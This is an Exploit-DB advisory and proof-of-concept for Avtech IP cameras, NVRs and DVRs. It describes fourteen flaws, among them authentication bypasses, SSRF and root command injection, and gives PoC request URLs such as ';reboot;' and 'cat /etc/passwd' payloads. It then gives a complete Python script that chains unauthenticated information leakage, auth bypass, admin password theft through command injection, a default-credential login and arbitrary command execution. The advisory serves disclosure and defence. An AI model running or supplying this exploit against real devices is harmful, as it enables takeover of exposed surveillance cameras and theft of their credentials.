AVTECH IP Camera / NVR / DVR Devices – Multiple Vulnerabilities

  • 作者： Gergely Eberhardt
    日期： 2016-10-11
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/40500/
  • '''
Avtech devices multiple vulnerabilities
--------------------------------------------------

Platforms / Firmware confirmed affected:
- Every Avtech device (IP camera, NVR, DVR) and firmware version. [4]
contains the list of confirmed firmware versions, which are affected.
- Product page: http://www.avtech.com.tw/

ôAVTECH, founded in 1996, is one of the worldÆs leading CCTV
manufacturers. With stably increasing revenue and practical business
running philosophy, AVTECH has been ranked as the largest public-listed
company among the Taiwan surveillance industry. AVTECH makes every
effort on the innovation of technology, product and implementation.
Based on years of research and industry experience, AVTECH has obtained
a leading position on mobile platform support and provides a full range
of surveillance products.ö

Avtech is the second most popular search term in Shodan. According to
Shodan, more than 130.000 Avtech devices are exposed to the internet.

Vulnerabilities
---------------
1) Plaintext storage of administrative password
Every user password is stored in clear text. An attacker with access to
the device itself can easily obtain the full list of passwords. By
exploiting command injection or authentication bypass issues, the clear
text admin password can be retrieved.

2) Missing CSRF protection
The web interface does not use any CSRF protection. If a valid session
exists for the user, the attacker can modify all settings of the device
via CSRF. If there is no valid session, but the user did not change the
default admin password, the attacker can log in as admin via CSRF as well.

3) Unauthenticated information disclosure
Under the /cgi-bin/nobody folder every CGI script can be accessed
without authentication.
POC: GET /cgi-bin/nobody/Machine.cgi?action=get_capability
Example response:
Firmware.Version=1011-1005-1008-1002
MACAddress=00:0E:53:xx:xx:xx
Product.Type=DVR
Product.ID=308B
Product.ShortName=V_full_Indep,V_Multistream
Video.System=PAL
Audio.DownloadFormat=ULAW
Video.Input.Num=8
Video.Output.Num=1
Video.Format=H264,MJPEG
Video.Format.Default=H264
Video.Resolution=4CIF,CIF
Video.Quality=BEST,HIGH,NORMAL,BASIC
Video.Local.Input.Num=8
Video.Local.Output.Num=1
Video.Local.Format=H264,MJPEG
Audio.Input.Num=8
Audio.Output.Num=1
Audio.Format=ULAW
Audio.Local.Input.Num=8
Audio.Local.Output.Num=1
Audio.Local.Format=PCM
Language.Default=ENGLISH
Language.Support=ENGLISH&CHINESE&JAPANESE&FRANCE&GERMAN&SPANISH&PORTUGUESE&ITALIAN&TURKISH&POLISH&RUSSIAN&CUSTOMIZE&THAI
&VIETNAM&DUTCH&GREEK&ARABIC&CZECH&HUNGARIAN&HEBREW&CHINA&
Capability=D0,80,A,80
PushNotify.MaxChannel=8

4) Unauthenticated SSRF in DVR devices
In case of DVR devices, Search.cgi can be accessed without
authentication. This service is responsible for searching and accessing
IP cameras in the local network. In newer firmware versions, Search.cgi
provides the cgi_query action, which performs an HTTP request with the
specified parameters. By modifying the ip, port and queryb64str
parameters, an attacker is able to perform arbitrary HTTP requests
through the DVR device without authentication.
POC:
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==

5) Unauthenticated command injection in DVR devices
The cgi_query action in Search.cgi performs HTML requests with the wget
system command, which uses the received parameters without sanitization
or verification. By exploiting this issue, an attacker can execute any
system command with root privileges without authentication.
POC:
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin

6) Authentication bypass #1
Video player plugins are stored as .cab files in the web root, which can
be accessed and downloaded without authentication. The cab file request
verification in the streamd web server is performed with the strstr
function, which means that a request should not be authenticated if it
contains the ô.cabö string anywhere in the URL. We note that some of the
models contain an additional check in the CgiDaemon, which allows
unauthenticated cgi access only under the /cgi-bin/nobody folder.
POC:
http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*

7) Authentication bypass #2
Cgi scripts in the /cgi-bin/nobody folder can be accessed without
authentication (e.g. for login). The streamd web server verifies whether
the request can be performed without authentication by searching for the
ô/nobodyö string in the URL withthe strstr function. Thus, if a
request contains the "/nobody" string anywhere in the URL, it does not
have to be authenticated. We note that some of the models contain an
additional check in the CgiDaemon, which allows unauthenticated cgi
access only under the /cgi-bin/nobody folder.
POC:
http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*

8) Unauthenticated file download from web root
If a cab file is requested, the web server sends the file without
processing it. Because the streamd web server verifies the cab file
request by searching for the ô.cabö string in the URL with the strstr
function, any file (even the cgi scripts) in the web root can be
downloaded without authentication.
POC: http://<device_ip>/cgi-bin/cgibox?.cab

9) Login captcha bypass #1
To prevent brute-forcing attempts, Avtech devices require a captcha for
login requests. However, if the login requests contain the login=quick
parameter, the captcha verification is bypassed.
POC:
http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick

10) Login captcha bypass #2
Instead of using a random session ID, Avtech devices use the
base64-encoded username and password as the Cookie value. Since the IP
address of the logged in user is not stored, if an attacker sets the
Cookie manually, the captcha verification can by bypassed easily.

11) Authenticated command injection in CloudSetup.cgi
Devices that support the Avtech cloud contain CloudSetup.cgi, which can
be accessed after authentication. The exefile parameter of a
CloudSetup.cgi request specifies the system command to be executed.
Since there is no verification or white list-based checking of the
exefile parameter, an attacker can execute arbitrary system commands
with root privileges.
POC: http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps

12) Authenticated command injection in adcommand.cgi
Some of the Avtech devices contain adcommand.cgi to perform ActionD
commands. The adcommand.cgi can be accessed after authentication. In
newer devices the ActionD daemon provides the DoShellCmd function, which
performs a system call with the specified parameters. Since there is no
verification or white list-based checking of the parameter of the
DoShellCmd function, an attacker can execute arbitrary system commands
with root privileges.
POC:
POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1
Host: <device_ip>
Content-Length: 23
Cookie: SSID=YWRtaW46YWRtaW4=

DoShellCmd "strCmd=ps&"

13) Authenticated command injection in PwdGrp.cgi
The PwdGrp.cgi uses the username, password and group parameters in a new
user creation or modification request in a system command without
validation or sanitization. Thus and attacker can execute arbitrary
system commands with root privileges.
We are aware that this vulnerability is being exploited in the wild!
POC:
http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN

14) HTTPS used without certificate verification
The SyncCloudAccount.sh, QueryFromClient.sh and SyncPermit.sh scripts
use wget to access HTTPS sites, such as https://payment.eagleeyes.tw, by
specifying the no-check-certificate parameter. Thus wget skips server
certificate verification and a MITM attack is possible against the HTTPS
communication.

Timeline
2015.10.19: First attempt to contact with Avtech, but we did not receive
any response
2016.05.24: Second attempt to contact Avtech without any response
2016.05.27: Third attempt to contact Avtech by sending e-mail to public
Avtech e-mail addresses. We did not receive any response.
2016.xx.xx: Full disclosure

POC
---
POC script is available to demonstrate the following problems [3]:
- Unauthenticated information leakage (capabilities)
- Authentication bypass (.cab, nobody)
- Unauthenticated SSRF on DVR devices
- Unauthenticated command injection on DVR devices
- Login captcha bypass with login=quick or manual cookie creation
- CloudSetup.cgi command injection after authentication
- adcommand.cgi command injection after authentication

A video demonstration is also available [1], which presents some of the
above problems.

Recommendations
---------------
Unfortunately there is no solution available for these vulnerabilities
at the moment. You can take the following steps to protect your device:
- Change the default admin password
- Never expose the web interface of any Avtech device to the internet

We note that the above vulnerabilities were found within a short period
of time without a systematic approach. Based on the vulnerability types
we found and the overall code quality, the devices should contain much
more problems.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
(@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1]
https://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities
<http://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities>
[2] https://youtu.be/BUx8nLlIMxI
[3] https://github.com/ebux/AVTECH
[4] http://www.search-lab.hu/media/vulnerability_matrix.txt
'''

#
# POC code for Technicolor Avtech devices
#
# Demonstrates the following vulnerabilities
#- Unauthenticated information leakage (capabilities)
#- Authentication bypass (.cab, nobody)
#- Unauthenticated SSRF on DVR devices
#- Unauthenticated command injection on DVR devices
#- Login captcha bypass with login=quick or manual cookie creation
#- CloudSetup.cgi command injection after authentication
#- adcommand.cgi command injection after authentication
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Advisory: http://search-lab.hu/...

import sys
import requests
import base64

class avtech:
AVTECH_BYP_NONE = 0
AVTECH_BYP_CAB = 1
AVTECH_BYP_NOBODY = 2

def __init__(self, addr, port):
self.addr = addr
self.port = port
self.s = requests.Session()
self.auth = False
self.authbyp_str = {self.AVTECH_BYP_NONE:'', self.AVTECH_BYP_CAB:'.cab&', self.AVTECH_BYP_NOBODY:'/nobody&'}
self.authbyp = self.AVTECH_BYP_NONE
self.username = ''
self.password = ''

self.cabbyp = False
self.nobodybyp = False
self.firmware_version = ''
self.product_type = ''
self.product_id = ''
self.mac_address = ''

def getUri(self, uri, param, bypass=False):
if (bypass):
return 'http://%s:%d/%s?%s%s'%(self.addr, self.port, uri, self.authbyp_str[self.authbyp], param)
else:
return 'http://%s:%d/%s?%s'%(self.addr, self.port, uri, param)

def setPwd(self, usr, pwd):
self.username = usr
self.password = pwd

# creates a valid cookie without logging in
def setCookie(self):
self.s.cookies['SSID'] = base64.b64encode('%s:%s'%(self.username,self.password))
self.auth = True

# performs authentication with the provided user name and password using
# the login=quick parameter, which bypass the captcha verification
def login(self):
self.s = requests.Session()
r = self.s.get(self.getUri('/cgi-bin/nobody/VerifyCode.cgi', 'account=%s&login=quick'%(base64.b64encode('%s:%s'%(self.username,self.password)))))
res = r.text.split()
if (int(res[0]) == -35):
#print 'Authentication failed with %s:%s'%(self.username,self.password)
return False
if (int(res[0]) == 0):
#print 'Authentication succeeded with %s:%s'%(self.username,self.password)
self.auth = True
return True
#else:
#print 'Unknown response code: %d'%(int(res[0]))
return False

# verifies whether the authentication bypass is working .cab or /nobody problem
def checkBypass(self):
if (self.auth):
return 'Session is already authenticated, you do not have to bypass!'
ret = ''
greq = '&action=get&category=Account.*'
# .cab check
try:
r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','.cab%s'%(greq)))
if (len(r.text) > 0 and r.text[0] == '0'):
ret += '.cab authentication bypass was successful, '
self.authbyp = self.AVTECH_BYP_CAB
self.cabbyp = True
except:
ret += '.cab authentication bypass was not successful, '

# /nobody check
try:
r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','/nobody%s'%(greq)))
if (len(r.text) > 0 and r.text[0] == '0'):
ret += '/nobody authentication bypass was successful'
self.nobodybyp = True
if (self.authbyp == self.AVTECH_BYP_NONE):
self.authbyp = self.AVTECH_BYP_NOBODY
except:
ret += '/nobody authentication bypass was not successful'
return ret

# retrieves account information after authentication
def getAdminPwd(self):
r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','action=get&category=Account.*', True))
for l in r.text.split():
lp = l.split('=')
if (len(lp) == 2):
if (lp[0] == 'Account.User1.Username'):
self.username = lp[1]
elif (lp[0] == 'Account.User1.Password'):
self.password = lp[1]
break
if (lp[0] == 'Account.User2.Username'):
self.username = lp[1]
elif (lp[0] == 'Account.User2.Password'):
self.password = lp[1]
break
if (lp[0] == 'Account.User3.Username'):
self.username = lp[1]
elif (lp[0] == 'Account.User3.Password'):
self.password = lp[1]
break

# retrieves firmware version after authentication
def getFwVersion(self):
r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','action=get&category=Properties.Firmware.*', False))
print r.text

# retrieves login response after authentication
def getLogin(self):
r = self.s.get(self.getUri('/cgi-bin/guest/Login.cgi','rnd=0.5', False))
print r.text

# CloudSetup.cgi command injection test
def commandInjection(self, cmd):
try:
r = self.s.get(self.getUri('/cgi-bin/supervisor/CloudSetup.cgi','exefile=%s'%(cmd), False))
return r.text
except:
print 'CloudSetup.cgi command injection test failed'

# adcommand.cgi command injection test
def commandInjection2(self, cmd):
data = 'DoShellCmd "strCmd=%s&"'%(cmd)
r = self.s.post(self.getUri('/cgi-bin/supervisor/adcommand.cgi','', False), data=data)
return r.text

# parses capability response
def parseCapability(self, cap):
for l in cap.split('\n'):
ld = l.strip().split('=')
if (len(ld)==2):
if (ld[0] == 'Firmware.Version'):
self.firmware_version = ld[1]
elif (ld[0] == 'Product.Type'):
self.product_type = ld[1]
elif (ld[0] == 'Product.ID'):
self.product_id = ld[1]
elif (ld[0] == 'MACAddress'):
self.mac_address = ld[1]

# unauthenticated information leakage
def getCapability(self):
r = self.s.get(self.getUri('/cgi-bin/nobody/Machine.cgi','action=get_capability', False))
self.parseCapability(r.text)
return r.text

# checks the availability of search.cgi (available only on DVR devices)
def checkSearch(self):
try:
r = self.s.get(self.getUri('/cgi-bin/nobody/Search.cgi','action=scan', False))
return r.text
except:
return ''

# unauthenticated SSRF using the search.cgi script (available only on DVR devices)
def checkCgiQuery(self):
try:
r = self.s.get(self.getUri('/cgi-bin/nobody/Search.cgi','action=cgi_query&ip=google.com&port=80&queryb64str=Lw==', False))
if (len(r.text)>=4 and r.text[0:4] == '0\nOK'):
return True
else:
return False
except:
return False

# unauthenticated command injection in the search.cgi script (available only on DVR devices)
def searchCmdInjection(self, command):
cmdstr = (' ;%s>$(ps|grep Search.cgi|grep -v grep|head -n 1|awk \'{print "/tmp/"$1".log"}\';)'%(command)).replace(' ', '%20')
uri = self.getUri('cgi-bin/nobody/Search.cgi','action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%s&password=admin'%(cmdstr),False)
print uri
r = self.s.get(uri)
return r.text

#------------------------------------

if __name__ == '__main__':
if (len(sys.argv) < 2):
print 'avtech_nas_pc.py addr [port]'
addr = sys.argv[1]
port = 80
if (len(sys.argv) == 3):
port = int(sys.argv[2])

avtech = avtech(addr, port)

# unatuhenticated information disclosure
cap = avtech.getCapability()
print cap
avtech.parseCapability(cap)
print '%s,%s,%s,%s'%(avtech.firmware_version, avtech.product_type, avtech.product_id, avtech.mac_address)

# check unauthenticated SSRF vulnerability
sr = avtech.checkSearch()
if (len(sr) > 0 and sr[0] == '0'):
cgi_query = avtech.checkCgiQuery()
if (cgi_query):
print 'SSRF was successful'
else:
print 'SSRF was not successful'

resp = avtech.searchCmdInjection('XmlAp r Account.User1.Username')
lines = resp.split('\n')
if (len(lines) >= 3):
pwd = lines[2].strip()
print 'User1 name: %s'%(pwd)
avtech.username = pwd

resp = avtech.searchCmdInjection('XmlAp r Account.User1.Password')
lines = resp.split('\n')
if (len(lines) >= 3):
pwd = lines[2].strip()
print 'User1 password: %s'%(pwd)
avtech.password = pwd

# authentication bypas
print 'Authentication bypass check'
print avtech.checkBypass()
print 'Try to get admin password'
print avtech.getAdminPwd()
default = False
# try default password
if (avtech.password == ''):
avtech.setPwd('admin', 'admin')
default = True
# login with credentials using captch bypass
avtech.login()
# if captch bypass was not possible, but we have a password, set cookie manually
if (not avtech.auth and not default and avtech.password != ''):
avtech.setCookie()

# check issues after authentication
if (avtech.auth):
print 'Get admin password'
avtech.getAdminPwd()
print 'Get login'
avtech.getLogin()
print 'Get fw version'
avtech.getFwVersion()
print 'cloud command injection'
print avtech.commandInjection('ps')
print 'adcommand command injection'
print avtech.commandInjection2('cat /etc/passwd')